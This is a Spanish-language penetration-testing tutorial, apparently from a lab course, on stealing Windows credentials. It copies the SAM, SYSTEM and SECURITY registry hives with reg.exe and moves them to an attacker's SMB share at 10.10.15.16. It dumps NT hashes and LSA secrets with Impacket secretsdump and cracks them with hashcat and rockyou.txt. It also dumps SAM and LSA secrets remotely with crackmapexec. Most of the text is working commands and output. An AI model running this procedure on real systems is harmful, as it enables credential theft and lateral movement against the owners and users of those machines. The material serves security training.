Attacking SAM
Copiando Hives del Registro SAM
Con acceso a un sistema Windows que no esté unido a un dominio, podemos beneficiarnos al intentar copiar rápidamente los archivos asociados con la base de datos SAM para transferirlos a nuestro host de ataque y comenzar a crackear los hashes fuera de línea. Hacer esto fuera de línea nos permitirá continuar nuestros ataques sin mantener una sesión activa con el objetivo. Vamos a recorrer este proceso juntos utilizando un host objetivo. Siéntete libre de seguir adelante al crear la caja de destino en esta sección.
Hay tres hives del registro que podemos copiar si tenemos acceso de administrador local en el objetivo; cada uno tendrá un propósito específico cuando lleguemos a volcar y crackear los hashes. A continuación se presenta una breve descripción de cada uno en la tabla:
hklm\sam
Contiene los hashes asociados con las contraseñas de las cuentas locales. Necesitaremos los hashes para crackearlos y obtener las contraseñas de las cuentas de usuario en texto claro.
hklm\system
Contiene la clave de arranque del sistema, que se utiliza para cifrar la base de datos SAM. Necesitaremos la clave de arranque para descifrar la base de datos SAM.
hklm\security
Contiene credenciales en caché para cuentas de dominio. Puede ser útil tener esto en un objetivo unido a un dominio.
Podemos crear copias de seguridad de estos hives utilizando la utilidad reg.exe
.
Usando reg.exe para Copiar Hives del Registro
Lanzar CMD como administrador nos permitirá ejecutar reg.exe
para guardar copias de los hives del registro mencionados anteriormente. Ejecuta los siguientes comandos para hacerlo:
C:\WINDOWS\system32> reg.exe save hklm\sam C:\sam.save
La operación se completó correctamente.
C:\WINDOWS\system32> reg.exe save hklm\system C:\system.save
La operación se completó correctamente.
C:\WINDOWS\system32> reg.exe save hklm\security C:\security.save
La operación se completó correctamente.
Técnicamente, solo necesitaremos hklm\sam
y hklm\system
, pero hklm\security
también puede ser útil guardarlo, ya que puede contener hashes asociados con credenciales de cuentas de usuario de dominio en caché presentes en hosts unidos a un dominio. Una vez que los hives se guardan fuera de línea, podemos utilizar varios métodos para transferirlos a nuestro host de ataque. En este caso, utilizaremos smbserver.py
de Impacket en combinación con algunos comandos útiles de CMD para mover las copias de los hives a un recurso compartido creado en nuestro host de ataque.
Creando un Recurso Compartido con smbserver.py
Todo lo que debemos hacer para crear el recurso compartido es ejecutar smbserver.py -smb2support
usando Python, darle un nombre al recurso compartido (CompData) y especificar el directorio en nuestro host de ataque donde se almacenarán las copias de los hives (/home/ltnbob/Documents
). Ten en cuenta que la opción -smb2support
asegurará que se admitan versiones más nuevas de SMB. Si no usamos esta bandera, habrá errores al conectarse desde el objetivo Windows al recurso compartido alojado en nuestro host de ataque. Las versiones más nuevas de Windows no admiten SMBv1 de forma predeterminada debido a las numerosas vulnerabilidades severas y exploits públicos disponibles.
sherlock28@htb[/htb]$ sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/ltnbob/Documents/
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Archivo de configuración analizado
[*] Callback agregado para UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback agregado para UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Archivo de configuración analizado
[*] Archivo de configuración analizado
[*] Archivo de configuración analizado
Una vez que tengamos el recurso compartido en funcionamiento en nuestro host de ataque, podemos usar el comando move
en el objetivo Windows para mover las copias de los hives al recurso compartido.
Moviendo Copias de los Hives al Recurso Compartido
C:\> move sam.save \\10.10.15.16\CompData
1 archivo(s) movido.
C:\> move security.save \\10.10.15.16\CompData
1 archivo(s) movido.
C:\> move system.save \\10.10.15.16\CompData
1 archivo(s) movido.
Luego podemos confirmar que nuestras copias de los hives se movieron con éxito al recurso compartido navegando al directorio compartido en nuestro host de ataque y usando ls
para listar los archivos.
Confirmando que las Copias de los Hives se Transfirieron al Host de Ataque
sherlock28@htb[/htb]$ ls
sam.save security.save system.save
Volcando Hashes con secretsdump.py de Impacket
Una herramienta increíblemente útil que podemos utilizar para volcar los hashes fuera de línea es secretsdump.py
de Impacket. Impacket se puede encontrar en la mayoría de las distribuciones modernas de pruebas de penetración. Podemos buscarlo usando locate
en un sistema basado en Linux:
Localizando secretsdump.py
sherlock28@htb[/htb]$ locate secretsdump
Usar secretsdump.py
es un proceso simple. Todo lo que debemos hacer es ejecutar secretsdump.py
usando Python y luego especificar cada archivo hive que recuperamos del host objetivo.
Ejecutando secretsdump.py
sherlock28@htb[/htb]$ python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Clave de arranque del sistema objetivo: 0x4d8c7cff8a543fbf245a363d2ffce518
[*] Volcando hashes locales de SAM (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:3dd5a5ef0ed25b8d6add8b2805cce06b:::
defaultuser0:1000:aad3b435b51404eeaad3b435b51404ee:683b72db605d064397cf503802b51857:::
bob:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
sam:1002:aad3b435b51404eeaad3b435b51404ee:6f8c3f4d3869a10f3b4f0522f537fd33:::
rocky:1003:aad3b435b51404eeaad3b435b51404ee:184ecdda8cf1dd238d438c4aea4d560d:::
ITlocal:1004:aad3b435b51404eeaad3b435b51404ee:f7eb9c06fafaa23c4bcf22ba6781c1e2:::
[*] Volcando información de inicio de sesión en caché del dominio (dominio/usuario:hash)
[*] Volcando secretos LSA
[*] DPAPI_SYSTEM
dpapi_machinekey:0xb1e1744d2dc4403f9fb0420d84c3299ba28f0643
dpapi_userkey:0x7995f82c5de363cc012ca6094d381671506fd362
[*] NL$KM
0000 D7 0A F4 B9 1E 3E 77 34 94 8F C4 7D AC 8F 60 69 .....>w4...}..`i
0010 52 E1 2B 74 FF B2 08 5F 59 FE 32 19 D6 A7 2C F8 R.+t..._Y.2...,.
0020 68 F2 9F 2B A6 A0 C0 5D 65 72 88 71 C5 9F D2 3D 4B h..+... ]er.q....K
0030 0A 5B 5B 92 2A 89 06 D2 4A 8E 6C F3 E5 C5 71 45 B8 .[[.*...J.l...qE.
Al final de la ejecución, obtendremos todos los hashes asociados con los usuarios locales y la información de las contraseñas que podemos intentar crackear fuera de línea utilizando herramientas como John the Ripper
o hashcat
. Así, ¡con eso completamos nuestra técnica de copia de hives de registro!
Cracking Hashes with Hashcat
Una vez que tengamos los hashes, podemos comenzar a intentar crackearlos usando Hashcat. Utilizaremos Hashcat para intentar crackear los hashes que hemos recopilado. Si echamos un vistazo al sitio web de Hashcat, notaremos que admite una amplia variedad de algoritmos de hashing. En este módulo, utilizamos Hashcat para casos de uso específicos. Esto nos ayudará a desarrollar la mentalidad y comprensión necesarias para usar Hashcat, así como a saber cuándo necesitamos consultar la documentación de Hashcat para entender qué modo y opciones debemos utilizar según los hashes que capturemos.
Como se mencionó anteriormente, podemos llenar un archivo de texto con los NT hashes que pudimos volcar.
Agregando NT Hashes a un Archivo .txt
sherlock28@htb[/htb]$ sudo vim hashestocrack.txt
64f12cddaa88057e06a81b54e73b949b
31d6cfe0d16ae931b73c59d7e0c089c0
6f8c3f4d3869a10f3b4f0522f537fd33
184ecdda8cf1dd238d438c4aea4d560d
f7eb9c06fafaa23c4bcf22ba6781c1e2
Ahora que los NT hashes están en nuestro archivo de texto (hashestocrack.txt
), podemos usar Hashcat para crackearlos.
Ejecutando Hashcat contra NT Hashes
Hashcat tiene muchos modos diferentes que podemos usar. Seleccionar un modo depende en gran medida del tipo de ataque y el tipo de hash que queremos crackear. Cubrir cada modo está más allá del alcance de este módulo. Nos enfocaremos en usar -m
para seleccionar el tipo de hash 1000 para crackear nuestros NT hashes (también conocidos como hashes basados en NTLM). Podemos consultar la página wiki de Hashcat o la página de manual para ver los tipos de hash admitidos y su número asociado. Utilizaremos la infame lista de palabras rockyou.txt
mencionada en la sección de Almacenamiento de Credenciales de este módulo.
sherlock28@htb[/htb]$ sudo hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
<SNIP>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
f7eb9c06fafaa23c4bcf22ba6781c1e2:dragon
6f8c3f4d3869a10f3b4f0522f537fd33:iloveme
184ecdda8cf1dd238d438c4aea4d560d:adrian
31d6cfe0d16ae931b73c59d7e0c089c0:
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NTLM
Hash.Target......: dumpedhashes.txt
Time.Started.....: Tue Dec 14 14:16:56 2021 (0 secs)
Time.Estimated...: Tue Dec 14 14:16:56 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 14284 H/s (0.63ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 5/5 (100.00%) Digests
Progress.........: 8192/14344385 (0.06%)
Rejected.........: 0/8192 (0.00%)
Restore.Point....: 4096/14344385 (0.03%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: newzealand -> whitetiger
Started: Tue Dec 14 14:16:50 2021
Stopped: Tue Dec 14 14:16:58 2021
Podemos ver en la salida que Hashcat utilizó un tipo de ataque llamado ataque por diccionario para adivinar rápidamente las contraseñas utilizando una lista de contraseñas conocidas (rockyou.txt
) y tuvo éxito en crackear 3 de los hashes. Tener las contraseñas podría ser útil para nosotros de muchas maneras. Podríamos intentar usar las contraseñas que crackeamos para acceder a otros sistemas en la red. Es muy común que las personas reutilicen contraseñas en diferentes cuentas de trabajo y personales. Conociendo esta técnica, que cubrimos, puede ser útil en compromisos. Nos beneficiará usar esto cada vez que nos encontremos con un sistema Windows vulnerable y obtengamos derechos de administrador para volcar la base de datos SAM.
Tengan en cuenta que esta es una técnica bien conocida, por lo que los administradores pueden tener salvaguardas para prevenirla y detectarla. Algunas de estas formas están documentadas en el marco de ataque de MITRE.
Consideraciones sobre Dumping Remoto y LSA Secrets
Con acceso a credenciales con privilegios de administrador local, también es posible que podamos apuntar a LSA Secrets a través de la red. Esto podría permitirnos extraer credenciales de un servicio en ejecución, tarea programada o aplicación que utiliza LSA secrets para almacenar contraseñas.
Dumping LSA Secrets Remotamente
sherlock28@htb[/htb]$ crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --lsa
SMB 10.129.42.198 445 WS01 [*] Windows 10.0 Build 18362 x64 (name:FRONTDESK01) (domain:FRONTDESK01) (signing:False) (SMBv1:False)
SMB 10.129.42.198 445 WS01 [+] WS01\bob:HTB_@cademy_stdnt!(Pwn3d!)
SMB 10.129.42.198 445 WS01 [+] Dumping LSA secrets
SMB 10.129.42.198 445 WS01 WS01\worker:Hello123
SMB 10.129.42.198 445 WS01 dpapi_machinekey:0xc03a4a9b2c045e545543f3dcb9c181bb17d6bdce
dpapi_userkey:0x50b9fa0fd79452150111357308748f7ca101944a
SMB 10.129.42.198 445 WS01 NL$KM:e4fe184b25468118bf23f5a32ae836976ba492b3a432deb3911746b8ec63c451a70c1826e9145aa2f3421b98ed0cbd9a0c1a1befacb376c590fa7b56ca1b488b
SMB 10.129.42.198 445 WS01 [+] Dumped 3 LSA secrets to /home/bob/.cme/logs/FRONTDESK01_10.129.42.198_2022-02-07_155623.secrets y /home/bob/.cme/logs/FRONTDESK01_10.129.42.198_2022-02-07_155623.cached
Dumping SAM Remotamente
También podemos volcar hashes de la base de datos SAM de forma remota.
sherlock28@htb[/htb]$ crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --sam
SMB 10.129.42.198 445 WS01 [*] Windows 10.0 Build 18362 x64 (name:FRONTDESK01) (domain:WS01) (signing:False) (SMBv1:False)
SMB 10.129.42.198 445 WS01 [+] FRONTDESK01\bob:HTB_@cademy_stdnt! (Pwn3d!)
SMB 10.129.42.198 445 WS01 [+] Dumping SAM hashes
SMB 10.129.42.198 445 WS01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.129.42.198 445 WS01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.129.42.198 445 WS01 bob:1000:aad3b435b51404eeaad3b435b51404ee:6f8c3f4d3869a10f3b4f0522f537fd33:::
Podemos ver que pudimos volcar la base de datos SAM, obteniendo credenciales útiles que también podemos crackear usando Hashcat o con otras técnicas.
Last updated
Was this helpful?